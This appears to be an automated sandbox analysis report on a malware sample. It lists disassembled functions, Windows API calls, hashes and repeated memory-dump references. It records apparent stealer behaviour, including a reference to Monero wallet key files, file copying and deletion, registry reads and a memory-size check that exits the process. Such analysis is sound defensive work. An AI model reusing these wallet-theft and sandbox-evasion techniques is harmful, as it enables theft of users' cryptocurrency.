Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 7be1d8ee35d39b5ae2aaef10282f527e3e5451af15b21e2bb2884474d013847b
Instruction ID: e7ff37027af2bc3dbfb4b169b4ee34bf4cabdb7930ae47258e27e6e63133d473
Opcode Fuzzy Hash: 7be1d8ee35d39b5ae2aaef10282f527e3e5451af15b21e2bb2884474d013847b
Instruction Fuzzy Hash: C03127B4A00209EFDB14DFA4C895BAEB7B5FF48310F108158E905A7290D778AA41CFB1

Function 00D84780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,01B0EE70), ref: 00D847DB

Part of subcall function 00D88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D88E0B

lstrcat.KERNEL32(?,00000000), ref: 00D84801
lstrcat.KERNEL32(?,?), ref: 00D84820
lstrcat.KERNEL32(?,?), ref: 00D84834
lstrcat.KERNEL32(?,01AFA800), ref: 00D84847
lstrcat.KERNEL32(?,?), ref: 00D8485B
lstrcat.KERNEL32(?,01B0DAC8), ref: 00D8486F

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D88D90: GetFileAttributesA.KERNEL32(00000000,?,00D71B54,?,?,00D9564C,?,?,00D90E1F), ref: 00D88D9F

Part of subcall function 00D84570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D84580
Part of subcall function 00D84570: RtlAllocateHeap.NTDLL(00000000), ref: 00D84587
Part of subcall function 00D84570: wsprintfA.USER32 ref: 00D845A6
Part of subcall function 00D84570: FindFirstFileA.KERNEL32(?,?), ref: 00D845BD

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 6b059cd22cb5c239344e3db8829c0c2d8a1b0ccef09baf2e3f1a4738c92b23e6
Instruction ID: 8ee4b0e3060c8efc182e5b53ba62407c79c038265398e4480362c54f316a2710
Opcode Fuzzy Hash: 6b059cd22cb5c239344e3db8829c0c2d8a1b0ccef09baf2e3f1a4738c92b23e6
Instruction Fuzzy Hash: F8314FB694021CABCB14FBB0DCC5EE9737CAB58700F404689B35996081EE74D7899FB5

Function 00D71220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D7123E
__aulldiv.LIBCMT ref: 00D71258
__aulldiv.LIBCMT ref: 00D71266
ExitProcess.KERNEL32 ref: 00D71294

Strings

@, xrefs: 00D71233

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 06964fea60ace89c3c04c89a6557d013fe752ebe39a472db5ebf5c965317e62f
Instruction ID: c552d7f7b1686b41620898d1e4a88b4841f981152d976dc15e0ad559172a65c0
Opcode Fuzzy Hash: 06964fea60ace89c3c04c89a6557d013fe752ebe39a472db5ebf5c965317e62f
Instruction Fuzzy Hash: 1A0162B0D44308FADB10EBE8CC4AB9DB778EB14701F248244E709B61C1D77495418B6D

Function 6CEDC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CEDC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CEDC969
GetSystemInfo.KERNEL32(?), ref: 6CEDC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CEDC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CEDC9E2

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 225abfa939abdb1a387f003c573981fc859196022e006e17be4d940aa1e7ca42
Instruction ID: 43ba5e9a5dae7754cb16697c2cd05024cb71fc692792f59496ace511db33ce10
Opcode Fuzzy Hash: 225abfa939abdb1a387f003c573981fc859196022e006e17be4d940aa1e7ca42
Instruction Fuzzy Hash: BF214931B516146BDB44BA64CC84BAE73B9AB4634CF71551EF907A7B81EB706C018790

Function 00D87E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D87E37
RtlAllocateHeap.NTDLL(00000000), ref: 00D87E3E
RegOpenKeyExA.KERNEL32(80000002,01AFBB80,00000000,00020119,?), ref: 00D87E5E
RegQueryValueExA.KERNEL32(?,01B0DBC8,00000000,00000000,000000FF,000000FF), ref: 00D87E7F
RegCloseKey.ADVAPI32(?), ref: 00D87E92

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: e32d82cbe3de56bf723e9df8533736c847b611078d6016f06cde782c38f61fc3
Instruction ID: 5b6bf6b002c031fb204ec87eec9802789d1e2609940a5fe4b071bd1272d1c553
Opcode Fuzzy Hash: e32d82cbe3de56bf723e9df8533736c847b611078d6016f06cde782c38f61fc3
Instruction Fuzzy Hash: 7C115EB1A4420AEFD704DF95DD89FBBBBB8EB08B10F204259F615A7690D77498009FA1

Function 00D712A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D712B4
RtlAllocateHeap.NTDLL(00000000), ref: 00D712BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00D712D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D712F5
RegCloseKey.ADVAPI32(?), ref: 00D712FF

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 4401d6c128d82b3267b4c1e9ed9126ac3b4e1b5e8b08e5dcc3f438fa72726416
Instruction ID: d848fd2f841568d14c5c87b6430325b9fb506158b875db9cf7aa3aeb62d3a5d4
Opcode Fuzzy Hash: 4401d6c128d82b3267b4c1e9ed9126ac3b4e1b5e8b08e5dcc3f438fa72726416
Instruction Fuzzy Hash: 6501E1B9A4020CBBDB04DFE4DC99FAEB7BCEB48701F108259FA0597280DA759A019F51

Function 00D7A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01B08A00,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00D7A0BD
LoadLibraryA.KERNEL32(01AF5010), ref: 00D7A146

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A820: lstrlen.KERNEL32(00D74F05,?,?,00D74F05,00D90DDE), ref: 00D8A82B
Part of subcall function 00D8A820: lstrcpy.KERNEL32(00D90DDE,00000000), ref: 00D8A885

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

SetEnvironmentVariableA.KERNEL32(01B08A00,00000000,00000000,?,00D912D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00D90AFE), ref: 00D7A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00D7A0B2, 00D7A0C6, 00D7A0DC

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-2812842227
Opcode ID: 23c7310e90086015bfea2609637b61ab1c47d9644601048e8f9cea6f13a9808f
Instruction ID: 095611e9756f02aa7cdefb2b1ab67700e38981e9c306e64629e9987bb8b404ea
Opcode Fuzzy Hash: 23c7310e90086015bfea2609637b61ab1c47d9644601048e8f9cea6f13a9808f
Instruction Fuzzy Hash: 5D414FB1901208AFDB05EFA8ECD5AAE37B5FB48301F584219F505932A1EB345944EF73

Function 00D7A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D88B60: GetSystemTime.KERNEL32(00D90E1A,01B0E290,00D905AE,?,?,00D713F9,?,0000001A,00D90E1A,00000000,?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D88B86

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D7A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00D7A3FF
lstrlen.KERNEL32(00000000), ref: 00D7A6BC

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

DeleteFileA.KERNEL32(00000000), ref: 00D7A743

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

